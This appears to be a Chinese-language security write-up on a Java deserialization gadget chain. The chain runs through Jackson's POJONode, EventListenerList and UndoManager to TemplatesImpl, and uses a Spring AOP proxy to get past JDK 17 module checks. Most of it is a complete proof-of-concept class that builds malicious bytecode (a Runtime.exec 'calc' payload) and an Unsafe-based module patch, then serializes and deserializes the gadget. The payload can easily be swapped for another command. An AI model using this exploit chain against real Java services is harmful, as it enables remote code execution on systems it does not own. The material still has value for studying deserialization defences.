条件
Spring Dependencies
测试
jackson反序列化
jackson序列化会调用任意getter,入口是writeValueAsString
。最常见的就是打TemplatesImpl的getOutputProperties
,入口是BaseJsonNode类的toString
,它会调用InternalNodeMapper类的nodeToString
,里面就有writeValueAsString
,但是BaseJsonNode
是抽象类,所以找它的子类POJONode
,然后根据BadAttributeValueExpException
触发toString
,这是序列化的过程。
虽然Jackson的反序列化机制只是调用setter方法,但是TemplatesImpl
的outputProperties
属性是通过SetterlessProperty.deserializeAndSet
来解析的,而它调用的是getter,所以可以打他的反序列化。
由于Jackson 获取类属性顺序的不稳定性,导致有时 JACKSON 链在触发 方法之前就报错了
transletindex
stylesheetDOM
outputProperties
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 74 more
解决方法,构造一个代理类,实现Templates
的getOutputProperties
方法,通过invoke
触发getOutputProperties
- 构造一个
JdkDynamicAopProxy
类型的对象,将TemplatesImpl
类型的对象设置为targetSource
- 使用这个
JdkDynamicAopProxy
类型的对象构造一个代理类,代理javax.xml.transform.Templates
接口 - JSON 序列化库只能从这个
JdkDynamicAopProxy
类型的对象上找到getOutputProperties
方法 - 通过代理类的
invoke
机制,触发TemplatesImpl#getOutputProperties
方法,实现恶意类加载
分析
// 通过AOP稳定Templates getter;
Object proxy = getPOJONodeStableProxy(templates);
// 获取Getter的时候代理对象获取其代理接口Getter
Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> POJONodeConstructor = name.getConstructor(Object.class);
Object pojoNode = POJONodeConstructor.newInstance(proxy);
EventListenerList eventListenerList = new EventListenerList();
UndoManager manager = new UndoManager();
Field edits = CompoundEdit.class.getDeclaredField("edits");
edits.setAccessible(true);
Vector vector = (Vector) edits.get(manager);
vector.add(pojoNode);
setField(eventListenerList,"listenerList", new Object[]{InternalError.class, manager});
serialize(eventListenerList);
unserialize();
代码可以明显看出来打的是EventListenerList
打POJONode
那条jackson链子 可以参考2024羊城杯ezJava
,一个非常巧妙的链子
链子如下
EventListenerList#readObject->
EventListenerList#add->
UndoManager#toString->
CompoundEdit#toString->
Vector#toString->
AbstractCollection#toString->
POJONode#toString
TemplatesImpl#getOutputProperties
bypass1
原本的TemplatesImpl这条链最后是恶意字节码加载,恶意类本来是要继承AbstractTranslet
的,这里也会触发模块检测。如果不继承AbstractTranslet
,就会空指针报错。但这里绕过很容易,跟jdk17打cc链一样,直接传入两个codes即可实现对_bytecodes.length
赋值,这样就不会空指针报错。同时修改_transletIndex
,它是code的索引。
bypass2
TemplatesImpl
在com.sun.org.apache.xalan.internal.xsltc.trax
下面,调用他的getter的时候会触发模块检测。但是通过AOP 动态代理到Templates这个类,这个类子啊java.xml
下面,所以pn在白名单内,可以绕过模块检测。原理与上次分析的jdk17 cc链类似。
调试看一下
可以看到代理的Templates
pn为javax.xml
过掉检测,成功实现Template的getter。
poc
import javassist.*;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Vector;
public class JDKModuleBypass {
//
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 重写BaseJsonNode 去除writeReplace 方法
pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass baseJsonNodeClass= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = baseJsonNodeClass.getDeclaredMethod("writeReplace");
baseJsonNodeClass.removeMethod(writeReplace);
baseJsonNodeClass.toClass();
//创建恶意字节码
CtClass evilClass = pool.makeClass("calc");
evilClass.addConstructor(
CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }",evilClass)
);
CtClass tempClass = pool.makeClass("useless");
byte[] tempClassCode=tempClass.toBytecode();
byte[] evilClassCode=evilClass.toBytecode();
Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = templatesImplclass.newInstance();
setField(templates, "_name", "test");
// 恶意类字节码在_bytecodes中下标
setField(templates, "_transletIndex", 0);
setField(templates, "_tfactory", null);
setField(templates, "_bytecodes", new byte[][]{evilClassCode,tempClassCode});
// 通过AOP稳定Templates getter;
Object proxy = getPOJONodeStableProxy(templates);
// 获取Getter的时候代理对象获取其代理接口Getter
Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> POJONodeConstructor = name.getConstructor(Object.class);
Object pojoNode = POJONodeConstructor.newInstance(proxy);
EventListenerList eventListenerList = new EventListenerList();
UndoManager manager = new UndoManager();
Field edits = CompoundEdit.class.getDeclaredField("edits");
edits.setAccessible(true);
Vector vector = (Vector) edits.get(manager);
vector.add(pojoNode);
setField(eventListenerList,"listenerList", new Object[]{InternalError.class, manager});
//serialize(eventListenerList);
unserialize();
}
public static void setField(Object object,String fieldName,Object value) throws Exception {
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
objectIntputStream.readObject();
objectIntputStream.close();
fileInputStream.close();
}
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupportClass = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupportClass);
constructor.setAccessible(true);
Object advisedSupport = advisedSupportClass.newInstance();
Method setTarget = advisedSupport.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport, templatesImpl);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
return proxyObj;
}
private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}